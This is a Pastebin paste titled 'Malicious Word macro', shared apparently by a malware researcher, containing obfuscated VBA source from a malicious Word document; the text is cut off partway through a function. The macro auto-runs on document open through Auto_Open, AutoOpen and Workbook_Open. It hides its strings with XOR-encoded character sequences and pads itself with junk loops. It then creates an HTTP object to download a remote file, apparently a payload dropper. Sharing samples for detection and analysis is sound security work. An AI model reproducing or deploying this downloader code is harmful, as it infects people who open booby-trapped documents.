SHARE
TWEET

Malicious Word macro

dynamoo Nov 10th, 2014 187 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10.  
  11. GoTo TekeKIXv
  12. Dim KorylwBO As String
  13. Open Xorex(Chr(34) & Chr(121) & Chr(46) & Chr(60) & Chr(48) & Chr(45) & Chr(95) & Chr(53) & Chr(60) & Chr(60), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 74
  14. Dim ecawErWG As Integer
  15. For ecawErWG = 0 To 9
  16. Dim ZPixjmpp, FHMbKifm, NXYZmXjR As String
  17. ZPixjmpp = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(53) & Chr(44) & Chr(38) & Chr(41) & Chr(46) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  18. FHMbKifm = LTrim(ZPixjmpp)
  19. NXYZmXjR = RTrim(FHMbKifm)
  20.  
  21. DoEvents
  22. Next ecawErWG
  23. Dim asEbzXwZ, XdFQxNKE, KdVCJthR As String
  24. asEbzXwZ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(96) & Chr(62) & Chr(62) & Chr(40) & Chr(52) & Chr(49) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  25. XdFQxNKE = LTrim(asEbzXwZ)
  26. KdVCJthR = RTrim(XdFQxNKE)
  27.  
  28. Put #74, , KorylwBO
  29. Dim VavUqoZa As Integer
  30. For VavUqoZa = 0 To 4
  31. Dim bPjgbwfk, tTVPSHtp, PnTtNsCz As String
  32. bPjgbwfk = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(98) & Chr(37) & Chr(57) & Chr(45) & Chr(52) & Chr(63) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  33. tTVPSHtp = LTrim(bPjgbwfk)
  34. PnTtNsCz = RTrim(tTVPSHtp)
  35.  
  36. DoEvents
  37. Next VavUqoZa
  38. Dim KWYHAaqn, uQSlYDxo, OCNfhqyZ As String
  39. KWYHAaqn = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(102) & Chr(42) & Chr(60) & Chr(44) & Chr(46) & Chr(43) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  40. uQSlYDxo = LTrim(KWYHAaqn)
  41. OCNfhqyZ = RTrim(uQSlYDxo)
  42.  
  43. Close #74
  44. Dim BJgmxyHe As Integer
  45. For BJgmxyHe = 0 To 8
  46. Dim tHLZOFpj, kXTTsAdA, hUokpELN As String
  47. tHLZOFpj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(116) & Chr(38) & Chr(37) & Chr(32) & Chr(33) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  48. kXTTsAdA = LTrim(tHLZOFpj)
  49. hUokpELN = RTrim(kXTTsAdA)
  50.  
  51. DoEvents
  52. Next BJgmxyHe
  53. Dim eNiIwUfn, VakMHQQA, LaAyqHiZ As String
  54. eNiIwUfn = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(124) & Chr(53) & Chr(45) & Chr(59) & Chr(61) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  55. VakMHQQA = LTrim(eNiIwUfn)
  56. LaAyqHiZ = RTrim(VakMHQQA)
  57.  
  58. TekeKIXv:
  59.  
  60. Dim GBoKQhtn As Integer
  61. For GBoKQhtn = 0 To 6
  62. Dim roQtAEYl, OrlbFVcp, gBaMalhz As String
  63. roQtAEYl = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(101) & Chr(35) & Chr(38) & Chr(52) & Chr(53) & Chr(47) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  64. OrlbFVcp = LTrim(roQtAEYl)
  65. gBaMalhz = RTrim(OrlbFVcp)
  66.  
  67. DoEvents
  68. Next GBoKQhtn
  69. Dim RviifzeM, LgdQlDgZ, wbATzqVX As String
  70. RviifzeM = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(97) & Chr(36) & Chr(38) & Chr(41) & Chr(50) & Chr(43) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  71. LgdQlDgZ = LTrim(RviifzeM)
  72. wbATzqVX = RTrim(LgdQlDgZ)
  73.  
  74. JWYBNRLBKQR
  75. End Sub
  76. Sub AutoOpen()
  77.  
  78. GoTo LEalWwDY
  79. Dim JgRyLclt As String
  80. Open Xorex(Chr(35) & Chr(119) & Chr(48) & Chr(60) & Chr(55) & Chr(42) & Chr(95) & Chr(38) & Chr(34) & Chr(58), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 75
  81. Dim lcavmOJQ As Integer
  82. For lcavmOJQ = 0 To 6
  83. Dim TJJpQsQT, EZmCOfjr, GIuNqamg As String
  84. TJJpQsQT = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(115) & Chr(38) & Chr(59) & Chr(37) & Chr(33) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  85. EZmCOfjr = LTrim(TJJpQsQT)
  86. GIuNqamg = RTrim(EZmCOfjr)
  87.  
  88. DoEvents
  89. Next lcavmOJQ
  90. Dim uBXnSOQL, eNuSyDoM, VajVnKYW As String
  91. uBXnSOQL = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(101) & Chr(53) & Chr(58) & Chr(40) & Chr(41) & Chr(43) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  92. eNuSyDoM = LTrim(uBXnSOQL)
  93. VajVnKYW = RTrim(eNuSyDoM)
  94.  
  95. Put #75, , JgRyLclt
  96. Dim gacPaGvC As Integer
  97. For gacPaGvC = 0 To 2
  98. Dim OrlEvrlE, gBNVQbsw, MMIlBMed As String
  99. OrlEvrlE = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(108) & Chr(63) & Chr(54) & Chr(36) & Chr(49) & Chr(60) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  100. gBNVQbsw = LTrim(OrlEvrlE)
  101. MMIlBMed = RTrim(gBNVQbsw)
  102.  
  103. DoEvents
  104. Next gacPaGvC
  105. Dim driuFnBZ, AMfPMsqq, rtAREOMT As String
  106. driuFnBZ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(34) & Chr(38) & Chr(41) & Chr(42) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  107. AMfPMsqq = LTrim(driuFnBZ)
  108. rtAREOMT = RTrim(AMfPMsqq)
  109.  
  110. Close #75
  111. Dim jKfxfQSB As Integer
  112. For jKfxfQSB = 0 To 5
  113. Dim HafxHWqB, zuNblIgp, gdSZMxkm As String
  114. HafxHWqB = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(32) & Chr(35) & Chr(52) & Chr(55) & Chr(56) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  115. zuNblIgp = LTrim(HafxHWqB)
  116. gdSZMxkm = RTrim(zuNblIgp)
  117.  
  118. DoEvents
  119. Next jKfxfQSB
  120. Dim NhGrtVsU, WhBhveOI, JjpALuuP As String
  121. NhGrtVsU = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(108) & Chr(43) & Chr(55) & Chr(54) & Chr(53) & Chr(54) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  122. WhBhveOI = LTrim(NhGrtVsU)
  123. JjpALuuP = RTrim(WhBhveOI)
  124.  
  125. LEalWwDY:
  126.  
  127. Dim LEBRVpEQ As Integer
  128. For LEBRVpEQ = 0 To 4
  129. Dim treDbHml, PNQiSsds, hWlZBYrr As String
  130. treDbHml = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(127) & Chr(63) & Chr(63) & Chr(46) & Chr(49) & Chr(47) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  131. PNQiSsds = LTrim(treDbHml)
  132. hWlZBYrr = RTrim(PNQiSsds)
  133.  
  134. DoEvents
  135. Next LEBRVpEQ
  136. Dim HoBLbtvS, lmdDpZiu, UpljgflG As String
  137. HoBLbtvS = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(126) & Chr(37) & Chr(38) & Chr(40) & Chr(43) & Chr(35) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  138. lmdDpZiu = LTrim(HoBLbtvS)
  139. UpljgflG = RTrim(lmdDpZiu)
  140.  
  141.     Auto_Open
  142. End Sub
  143. Sub Workbook_Open()
  144.  
  145. GoTo xyZfKJKl
  146. Dim IsgjmRWR As String
  147. Open Xorex(Chr(32) & Chr(103) & Chr(40) & Chr(48) & Chr(57) & Chr(35) & Chr(95) & Chr(32) & Chr(46) & Chr(51), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 31
  148. Dim fsvDZpke As Integer
  149. For fsvDZpke = 0 To 1
  150. Dim SNAlfjtx, VyfwHroU, XJJoFyFu As String
  151. SNAlfjtx = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(127) & Chr(34) & Chr(46) & Chr(47) & Chr(47) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  152. VyfwHroU = LTrim(SNAlfjtx)
  153. XJJoFyFu = RTrim(VyfwHroU)
  154.  
  155. DoEvents
  156. Next fsvDZpke
  157. Dim Tpndowlj, nqPvZbHl, xsMPCRfl As String
  158. Tpndowlj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(63) & Chr(51) & Chr(50) & Chr(32) & Chr(40) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  159. nqPvZbHl = LTrim(Tpndowlj)
  160. xsMPCRfl = RTrim(nqPvZbHl)
  161.  
  162. Put #31, , IsgjmRWR
  163. Dim aUyoqmil As Integer
  164. For aUyoqmil = 0 To 5
  165. Dim qXAGbMwi, GKppSgfN, IiNWEwZE As String
  166. qXAGbMwi = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(52) & Chr(38) & Chr(52) & Chr(49) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  167. GKppSgfN = LTrim(qXAGbMwi)
  168. IiNWEwZE = RTrim(GKppSgfN)
  169.  
  170. DoEvents
  171. Next aUyoqmil
  172. Dim tVpXOVfF, UpvHlwCi, XNEmcuoH As String
  173. tVpXOVfF = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(119) & Chr(56) & Chr(59) & Chr(46) & Chr(50) & Chr(32) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  174. UpvHlwCi = LTrim(tVpXOVfF)
  175. XNEmcuoH = RTrim(UpvHlwCi)
  176.  
  177. Close #31
  178. Dim XqEwKnGT As Integer
  179. For XqEwKnGT = 0 To 1
  180. Dim cyHpxALl, PsZdVhXR, XkghnrBF As String
  181. cyHpxALl = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(127) & Chr(49) & Chr(48) & Chr(59) & Chr(62) & Chr(53) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  182. PsZdVhXR = LTrim(cyHpxALl)
  183. XkghnrBF = RTrim(PsZdVhXR)
  184.  
  185. DoEvents
  186. Next XqEwKnGT
  187. Dim ndZNQQzy, wfSdyGbu, kfXvnMCi As String
  188. ndZNQQzy = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(62) & Chr(60) & Chr(55) & Chr(40) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  189. wfSdyGbu = LTrim(ndZNQQzy)
  190. kfXvnMCi = RTrim(wfSdyGbu)
  191.  
  192. xyZfKJKl:
  193.  
  194. Dim TpUeiHdu As Integer
  195. For TpUeiHdu = 0 To 5
  196. Dim uKijfayh, SDHQAwCu, TrYxkZsP As String
  197. uKijfayh = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(126) & Chr(55) & Chr(57) & Chr(44) & Chr(34) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  198. SDHQAwCu = LTrim(uKijfayh)
  199. TrYxkZsP = RTrim(SDHQAwCu)
  200.  
  201. DoEvents
  202. Next TpUeiHdu
  203. Dim oVXNiCxg, QpqMJmyI, NNhcCykj As String
  204. oVXNiCxg = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(116) & Chr(56) & Chr(46) & Chr(59) & Chr(61) & Chr(32) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  205. QpqMJmyI = LTrim(oVXNiCxg)
  206. NNhcCykj = RTrim(QpqMJmyI)
  207.  
  208.     Auto_Open
  209. End Sub
  210.  
  211. Function MPIRKLCZGPW(ByVal QYHDAGXISET As String, ByVal XOGQTIGBKHF As String) As Boolean
  212.      Dim DJJTVHAZKJC As Object, ABHGZGXTAHB As Long, TRULUSUSFEP As Long, KVYTHKQITTJ() As Byte
  213.  
  214.  
  215. GoTo qvnwdNhu
  216. Dim xRdvFDlk As String
  217. Open Xorex(Chr(55) & Chr(96) & Chr(52) & Chr(54) & Chr(54) & Chr(39) & Chr(95) & Chr(53) & Chr(54) & Chr(40), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 14
  218. Dim crYiGofH As Integer
  219. For crYiGofH = 0 To 9
  220. Dim rWalVlIT, jaDwbuQH, ZubvaWGa As String
  221. rWalVlIT = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(123) & Chr(60) & Chr(51) & Chr(40) & Chr(60) & Chr(43) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  222. jaDwbuQH = LTrim(rWalVlIT)
  223. ZubvaWGa = RTrim(jaDwbuQH)
  224.  
  225. DoEvents
  226. Next crYiGofH
  227. Dim aOHtjJwl, CONjQWLl, KPpZyNjm As String
  228. aOHtjJwl = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(96) & Chr(39) & Chr(55) & Chr(54) & Chr(54) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  229. CONjQWLl = LTrim(aOHtjJwl)
  230. KPpZyNjm = RTrim(CONjQWLl)
  231.  
  232. Put #14, , xRdvFDlk
  233. Dim sbfEclru As Integer
  234. For sbfEclru = 0 To 1
  235. Dim ZKHKPpJC, iFcdCROF, DOyUpNnY As String
  236. ZKHKPpJC = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(41) & Chr(33) & Chr(37) & Chr(46) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  237. iFcdCROF = LTrim(ZKHKPpJC)
  238. DOyUpNnY = RTrim(iFcdCROF)
  239.  
  240. DoEvents
  241. Next sbfEclru
  242. Dim FWkvBprF, eQcerXhx, TCSCDlBH As String
  243. FWkvBprF = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(101) & Chr(42) & Chr(59) & Chr(45) & Chr(40) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  244. eQcerXhx = LTrim(FWkvBprF)
  245. TCSCDlBH = RTrim(eQcerXhx)
  246.  
  247. Close #14
  248. Dim RdloCaHW As Integer
  249. For RdloCaHW = 0 To 1
  250. Dim rAKpeHYl, zdwXaKdJ, fliBZThz As String
  251. rAKpeHYl = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(123) & Chr(49) & Chr(36) & Chr(37) & Chr(63) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  252. zdwXaKdJ = LTrim(rAKpeHYl)
  253. fliBZThz = RTrim(zdwXaKdJ)
  254.  
  255. DoEvents
  256. Next RdloCaHW
  257. Dim ppPZaVKy, yqMGwzgu, astaHuSi As String
  258. ppPZaVKy = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(100) & Chr(63) & Chr(57) & Chr(47) & Chr(51) & Chr(49) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  259. yqMGwzgu = LTrim(ppPZaVKy)
  260. astaHuSi = RTrim(yqMGwzgu)
  261.  
  262. qvnwdNhu:
  263.  
  264. Dim KIbPPPVG As Integer
  265. For KIbPPPVG = 0 To 3
  266. Dim vKaNjEwZ, rFOmEVfm, OOjGJltd As String
  267. vKaNjEwZ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(41) & Chr(39) & Chr(40) & Chr(63) & Chr(47) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  268. rFOmEVfm = LTrim(vKaNjEwZ)
  269. OOjGJltd = RTrim(rFOmEVfm)
  270.  
  271. DoEvents
  272. Next KIbPPPVG
  273. Dim ywKbMiTv, msVeNMJu, CxsCOjnA As String
  274. ywKbMiTv = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(63) & Chr(44) & Chr(45) & Chr(45) & Chr(60) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  275. msVeNMJu = LTrim(ywKbMiTv)
  276. CxsCOjnA = RTrim(msVeNMJu)
  277.  
  278.     Set DJJTVHAZKJC = CreateObject(Xorex(Chr(40) & Chr(103) & Chr(63) & Chr(58) & Chr(45) & Chr(84) & Chr(95) & Chr(42) & Chr(55) & Chr(62) & Chr(62) & Chr(97) & Chr(39) & Chr(36), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5"))
  279.     DJJTVHAZKJC.Open Xorex(Chr(34) & Chr(113) & Chr(51), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5"), QYHDAGXISET, False
  280.  
  281. GoTo YzwDVEhC
  282. Dim KiiJnkli As String
  283. Open Xorex(Chr(34) & Chr(121) & Chr(55) & Chr(39) & Chr(39) & Chr(46) & Chr(95) & Chr(48) & Chr(51) & Chr(60), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 59
  284. Dim ARMtQBeF As Integer
  285. For ARMtQBeF = 0 To 7
  286. Dim xJhlEQzr, mZKtADIE, YIRieAQF As String
